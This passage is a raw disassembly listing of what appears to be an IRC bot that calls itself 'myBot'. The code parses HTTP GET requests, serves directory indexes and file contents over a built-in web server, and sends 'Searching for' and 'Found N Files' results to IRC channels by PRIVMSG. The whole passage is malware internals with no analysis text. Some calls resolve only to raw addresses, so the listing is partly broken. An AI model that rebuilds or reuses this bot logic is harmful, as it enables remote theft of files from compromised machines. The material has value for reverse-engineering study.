CODE XREF: sub_40FAD6+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_4CB8D0 test eax, eax jz loc_40FEA7 cmp esi, [ebp+var_C] jnz short loc_40FC65 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_4CBA78 cmp eax, 0FFFFFFFFh jz loc_40FEA7 xor ecx, ecx test ebx, ebx jbe short loc_40FC37 lea edx, [ebp+var_134] loc_40FC2B: ; CODE XREF: sub_40FAD6+15Fj cmp [edx], eax jz short loc_40FC37 inc ecx add edx, 4 cmp ecx, ebx jb short loc_40FC2B loc_40FC37: ; CODE XREF: sub_40FAD6+14Dj ; sub_40FAD6+157j cmp ecx, ebx jnz short loc_40FC54 cmp ebx, 40h jnb short loc_40FC54 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_40FC54: ; CODE XREF: sub_40FAD6+163j ; sub_40FAD6+168j cmp eax, [ebp+var_8] jbe loc_40FEA7 mov [ebp+var_8], eax jmp loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FC65: ; CODE XREF: sub_40FAD6+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_41BF70 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41BF70 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_4CB9FC test eax, eax jg short loc_40FCF8 push esi call dword_4CBA7C xor ecx, ecx test ebx, ebx jbe loc_40FEA7 lea eax, [ebp+var_134] loc_40FCB7: ; CODE XREF: sub_40FAD6+1EBj cmp [eax], esi jz short loc_40FCC8 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40FCB7 jmp loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FCC8: ; CODE XREF: sub_40FAD6+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40FCEC lea eax, [ebp+ecx*4+var_134] loc_40FCD6: ; CODE XREF: sub_40FAD6+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40FCD6 loc_40FCEC: ; CODE XREF: sub_40FAD6+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FCF8: ; CODE XREF: sub_40FAD6+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_41BF70 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_41B9C0 add esp, 10h test eax, eax jbe loc_40FEA7 loc_40FD26: ; CODE XREF: sub_40FAD6+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_40FDCB mov esi, offset aGet_0 ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_40FD9F lea eax, [ebp+var_18F0] push eax call sub_41B9C0 cmp eax, 5 pop ecx jbe short loc_40FD9F mov eax, offset asc_42CDD0 ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_41C2E0 pop ecx pop ecx push eax call sub_41C2E0 pop ecx pop ecx push eax call sub_41CAD4 push eax lea eax, [ebp+var_23C] push eax call sub_41C890 add esp, 10h jmp short loc_40FDB6 ; --------------------------------------------------------------------------- loc_40FD9F: ; CODE XREF: sub_40FAD6+27Fj ; sub_40FAD6+291j lea eax, [ebp+var_18F0] push offset asc_4349FC ; "\r\n" push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_40FDEA loc_40FDB6: ; CODE XREF: sub_40FAD6+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41BF70 add esp, 0Ch or esi, 0FFFFFFFFh loc_40FDCB: ; CODE XREF: sub_40FAD6+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_41B9C0 cmp [ebp+arg_0], eax pop ecx jb loc_40FD26 jmp loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FDEA: ; CODE XREF: sub_40FAD6+2DEj xor ecx, ecx test ebx, ebx jbe short loc_40FE34 lea eax, [ebp+var_134] loc_40FDF6: ; CODE XREF: sub_40FAD6+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_40FE07 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40FDF6 jmp short loc_40FE37 ; --------------------------------------------------------------------------- loc_40FE07: ; CODE XREF: sub_40FAD6+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40FE2B lea eax, [ebp+ecx*4+var_134] loc_40FE15: ; CODE XREF: sub_40FAD6+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40FE15 loc_40FE2B: ; CODE XREF: sub_40FAD6+336j dec ebx mov [ebp+var_138], ebx jmp short loc_40FE37 ; --------------------------------------------------------------------------- loc_40FE34: ; CODE XREF: sub_40FAD6+318j mov esi, [ebp+var_4] loc_40FE37: ; CODE XREF: sub_40FAD6+32Fj ; sub_40FAD6+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_40FEA0 lea eax, [ebp+var_360] push eax call sub_41B9C0 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_41B9C0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_40FEA0 and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_4CBA80 push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_4100B4 add esp, 14h jmp short loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FEA0: ; CODE XREF: sub_40FAD6+369j ; sub_40FAD6+38Fj push esi call dword_4CBA7C loc_40FEA7: ; CODE XREF: sub_40FAD6+11Dj ; sub_40FAD6+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_40FBE3 jmp loc_40FBAD ; --------------------------------------------------------------------------- loc_40FEBC: ; CODE XREF: sub_40FAD6+102j mov edi, [ebp+var_C] xor ebx, ebx loc_40FEC1: ; CODE XREF: sub_40FAD6+6Aj ; sub_40FAD6+92j ... call dword_4CB978 push eax lea eax, [ebp+var_8F0] push offset unk_4349D4 push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_40FF07 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_409869 add esp, 14h loc_40FF07: ; CODE XREF: sub_40FAD6+40Cj lea eax, [ebp+var_8F0] push eax call sub_415D38 pop ecx push edi call dword_4CBA7C push [ebp+var_254] call sub_40B6D6 pop ecx push ebx call near ptr 26E0000h nop pop edi pop esi pop ebx sub_40FAD6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FF31 proc near ; DATA XREF: sub_4100B4+24Do var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_41C500 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_41C266 pop ecx lea eax, [ebp+var_2C4] pop ecx push eax lea eax, [ebp+var_654] push eax call sub_41C266 xor edi, edi pop ecx cmp [ebp+var_A4], edi pop ecx jz short loc_40FF97 push offset aTextHtml ; "text/html" jmp short loc_40FF9C ; --------------------------------------------------------------------------- loc_40FF97: ; CODE XREF: sub_40FF31+5Dj push offset aApplicationOct ; "application/octet-stream" loc_40FF9C: ; CODE XREF: sub_40FF31+64j lea eax, [ebp+var_9C] push eax call sub_41C266 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi nop call near ptr 2730000h lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call near ptr 272124Ah nop lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_410015 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41C266 add esp, 24h jmp short loc_410036 ; --------------------------------------------------------------------------- loc_410015: ; CODE XREF: sub_40FF31+C5j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41C266 add esp, 28h loc_410036: ; CODE XREF: sub_40FF31+E2j lea eax, [ebp+var_1654] push edi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_1654] push eax loc_41004C: ; DATA XREF: ___:004385B8o ; ___:004385CCo push [ebp+var_44C] call dword_4CBA34 cmp [ebp+var_A4], edi jnz short loc_410076 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_4109F1 pop ecx pop ecx jmp short loc_410093 ; --------------------------------------------------------------------------- loc_410076: ; CODE XREF: sub_40FF31+12Dj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_41036B add esp, 10h loc_410093: ; CODE XREF: sub_40FF31+143j push [ebp+var_44C] call dword_4CBA7C push [ebp+var_B4] call sub_40B6D6 pop ecx push edi call near ptr 26E0000h nop pop edi pop esi sub_40FF31 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4100B4 proc near ; CODE XREF: sub_40FAD6+3C0p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_41BF70 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_4100EA push eax push offset aS_3 ; "\\%s" jmp short loc_4100F3 ; --------------------------------------------------------------------------- loc_4100EA: ; CODE XREF: sub_4100B4+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_4100F3: ; CODE XREF: sub_4100B4+34j lea eax, [ebp+var_10C] push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_41B9C0 test eax, eax pop ecx jbe short loc_41018E mov [ebp+arg_8], 2 loc_41011E: ; CODE XREF: sub_4100B4+D8j lea eax, [ebp+var_10C] push eax call sub_41B9C0 cmp [ebp+arg_8], eax pop ecx jnb short loc_41015E cmp [ebp+esi+var_10C], 25h jnz short loc_41015E cmp [ebp+esi+var_10B], 32h jnz short loc_41015E cmp [ebp+esi+var_10A], 30h jnz short loc_41015E inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_410178 ; --------------------------------------------------------------------------- loc_41015E: ; CODE XREF: sub_4100B4+7Aj ; sub_4100B4+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_41016E push 5Ch pop eax jmp short loc_410171 ; --------------------------------------------------------------------------- loc_41016E: ; CODE XREF: sub_4100B4+B3j movsx eax, al loc_410171: ; CODE XREF: sub_4100B4+B8j mov [ebp+ebx+var_210], al loc_410178: ; CODE XREF: sub_4100B4+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_41B9C0 cmp esi, eax pop ecx jb short loc_41011E loc_41018E: ; CODE XREF: sub_4100B4+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset dword_429ACC push eax call sub_41C266 lea eax, [ebp+var_314] push offset asc_42A084 ; "\n" push eax call sub_41CAD4 add esp, 18h lea eax, [ebp+var_314] push eax nop call near ptr 2680CB0h push 1 cmp eax, 10h pop esi jz short loc_4101DF cmp eax, 0FFFFFFFFh jnz short loc_4101E2 push [ebp+arg_0] jmp loc_410262 ; --------------------------------------------------------------------------- loc_4101DF: ; CODE XREF: sub_4100B4+11Cj mov [ebp+var_4], esi loc_4101E2: ; CODE XREF: sub_4100B4+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_4101EF mov [ebp+var_4], esi loc_4101EF: ; CODE XREF: sub_4100B4+136j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_41026D cmp [ebp+arg_C], edi jz short loc_410261 lea eax, [ebp+var_314] push offset asc_434C88 ; "*" push eax call sub_41C8A0 pop ecx lea eax, [ebp+var_314] pop ecx push eax lea eax, [ebp+var_640] push eax call sub_41C266 lea eax, [ebp+var_210] push eax call sub_410AAE add esp, 0Ch lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_41C266 or [ebp+var_330], 0FFFFFFFFh pop ecx pop ecx mov [ebp+var_31C], esi jmp short loc_4102BC ; --------------------------------------------------------------------------- loc_410261: ; CODE XREF: sub_4100B4+152j push ebx loc_410262: ; CODE XREF: sub_4100B4+126j call dword_4CBA7C jmp loc_410364 ; --------------------------------------------------------------------------- loc_41026D: ; CODE XREF: sub_4100B4+14Dj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax nop call near ptr 27106E5h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4102BC lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41C266 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi nop call near ptr 2730A5Bh push esi mov [ebp+var_330], eax nop call near ptr 2660830h loc_4102BC: ; CODE XREF: sub_4100B4+1ABj ; sub_4100B4+1D6j mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_434C54 push eax call sub_41C266 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_40B3BA mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_43E924[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_40FF31 push edi push edi call near ptr 2680000h nop mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_43E934[ecx], eax jz short loc_410336 loc_410324: ; CODE XREF: sub_4100B4+280j cmp [ebp+var_318], edi jnz short loc_410364 push 5 nop call near ptr 2670EEFh jmp short loc_410324 ; --------------------------------------------------------------------------- loc_410336: ; CODE XREF: sub_4100B4+26Ej push ebx call dword_4CBA7C call near ptr 26808B7h nop push eax lea eax, [ebp+var_8C4] push offset unk_434C1C push eax call sub_41C266 lea eax, [ebp+var_8C4] push eax call sub_415D38 add esp, 10h loc_410364: ; CODE XREF: sub_4100B4+1B4j ; sub_4100B4+276j pop edi pop esi xor eax, eax pop ebx leave retn sub_4100B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41036B proc near ; CODE XREF: sub_401ACD+75E3p ; sub_40FF31+15Ap var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_41BF70 mov edi, [ebp+arg_0] push offset asc_42A084 ; "\n" push edi call sub_41CAD4 add esp, 14h cmp [ebp+arg_8], ebx jz short loc_4103CA push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41C360 add esp, 14h jmp loc_4104C9 ; --------------------------------------------------------------------------- loc_4103CA: ; CODE XREF: sub_41036B+3Aj cmp [ebp+arg_C], ebx push edi jz loc_4104AF call sub_41B9C0 pop ecx mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA34 push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA34 push edi call sub_41B9C0 pop ecx mov byte ptr [eax+edi], 2Ah push 3Ch push 96h push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 18h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA34 push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 0Ch jmp short loc_4104C9 ; --------------------------------------------------------------------------- loc_4104AF: ; CODE XREF: sub_41036B+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 10h loc_4104C9: ; CODE XREF: sub_41036B+5Aj ; sub_41036B+142j lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA34 cmp [ebp+arg_C], ebx jz short loc_410564 push [ebp+arg_C] call sub_41B9C0 cmp eax, 2 pop ecx jbe short loc_410564 push [ebp+arg_C] call sub_41B9C0 sub eax, 3 pop ecx jz short loc_410515 loc_410509: ; CODE XREF: sub_41036B+1A8j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_410515 dec eax jnz short loc_410509 loc_410515: ; CODE XREF: sub_41036B+19Cj ; sub_41036B+1A5j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_41BFD0 add esp, 0Ch lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA34 loc_410564: ; CODE XREF: sub_41036B+180j ; sub_41036B+18Ej lea eax, [ebp+var_388] push eax push edi nop call near ptr 2760000h lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax call near ptr 2750000h nop test eax, eax jz loc_410954 mov edi, 1FFh loc_410590: ; CODE XREF: sub_41036B+5E3j cmp [ebp+var_388], ebx jz loc_41093C lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_41093C lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_41093C lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax nop call near ptr 27404B3h lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax nop call near ptr 2740000h mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_410605 mov ecx, offset aAm ; "AM" loc_410605: ; CODE XREF: sub_41036B+293j cmp ax, 0Ch movzx eax, ax jbe short loc_410611 sub eax, 0Ch loc_410611: ; CODE XREF: sub_41036B+2A1j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_41C266 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_4107B4 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_410685 lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" jmp loc_4108FD ; --------------------------------------------------------------------------- loc_410685: ; CODE XREF: sub_41036B+2E0j cmp [ebp+arg_C], ebx jz loc_41076F push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA34 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_0 ; "%s%s/" push edi push eax call sub_41C360 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA34 lea eax, [ebp+var_35C] push eax call sub_41B9C0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_410725 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_41072A ; --------------------------------------------------------------------------- loc_410725: ; CODE XREF: sub_41036B+3B1j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_41072A: ; CODE XREF: sub_41036B+3B8j lea eax, [ebp+var_248] push edi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA34 lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_4108FE ; --------------------------------------------------------------------------- loc_41076F: ; CODE XREF: sub_41036B+31Dj lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 14h jmp loc_41090D ; --------------------------------------------------------------------------- loc_4107B4: ; CODE XREF: sub_41036B+2D4j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_4107F3 push ebx push [ebp+var_368] call sub_416CC9 pop ecx pop ecx push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" push esi loc_4107DF: ; CODE XREF: sub_41036B+577j lea eax, [ebp+var_248] push eax call sub_41C360 add esp, 1Ch jmp loc_41090D ; --------------------------------------------------------------------------- loc_4107F3: ; CODE XREF: sub_41036B+44Fj cmp [ebp+arg_C], ebx jz loc_4108E7 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA34 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset dword_429ACC push edi push eax call sub_41C360 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA34 lea eax, [ebp+var_35C] push eax call sub_41B9C0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_410893 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_410898 ; --------------------------------------------------------------------------- loc_410893: ; CODE XREF: sub_41036B+51Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_410898: ; CODE XREF: sub_41036B+526j lea eax, [ebp+var_248] push edi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA34 mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_4107DF ; --------------------------------------------------------------------------- loc_4108E7: ; CODE XREF: sub_41036B+48Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" loc_4108FD: ; CODE XREF: sub_41036B+315j push esi loc_4108FE: ; CODE XREF: sub_41036B+3FFj lea eax, [ebp+var_248] push eax call sub_41C360 add esp, 18h loc_41090D: ; CODE XREF: sub_41036B+444j ; sub_41036B+483j lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA34 cmp [ebp+arg_8], ebx jz short loc_41093C push 7D0h nop call near ptr 2670EEFh loc_41093C: ; CODE XREF: sub_41036B+22Bj ; sub_41036B+246j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] call near ptr 2750000h nop test eax, eax jnz loc_410590 loc_410954: ; CODE XREF: sub_41036B+21Aj push [ebp+arg_0] call near ptr 25E0000h nop cmp [ebp+arg_8], ebx jz short loc_410997 mov eax, [ebp+var_8] cdq push edx push eax call sub_416CC9 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_416CC9 pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_41C266 add esp, 14h jmp short loc_4109CB ; --------------------------------------------------------------------------- loc_410997: ; CODE XREF: sub_41036B+5F5j cmp [ebp+arg_C], ebx jz short loc_4109B1 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_41C266 pop ecx pop ecx jmp short loc_4109CB ; --------------------------------------------------------------------------- loc_4109B1: ; CODE XREF: sub_41036B+62Fj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_41C266 add esp, 10h loc_4109CB: ; CODE XREF: sub_41036B+62Aj ; sub_41036B+644j lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA34 pop edi pop esi xor eax, eax pop ebx leave retn sub_41036B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4109F1 proc near ; CODE XREF: sub_40FF31+13Cp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi nop call near ptr 27106E5h mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410AA9 push esi push ebx nop call near ptr 2730A5Bh cmp eax, esi mov [ebp+arg_4], eax jz short loc_410AA2 loc_410A36: ; CODE XREF: sub_4109F1+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_41BF70 add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_410A53 mov edi, [ebp+arg_4] loc_410A53: ; CODE XREF: sub_4109F1+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx nop call near ptr 2770000h lea eax, [ebp+var_4] push 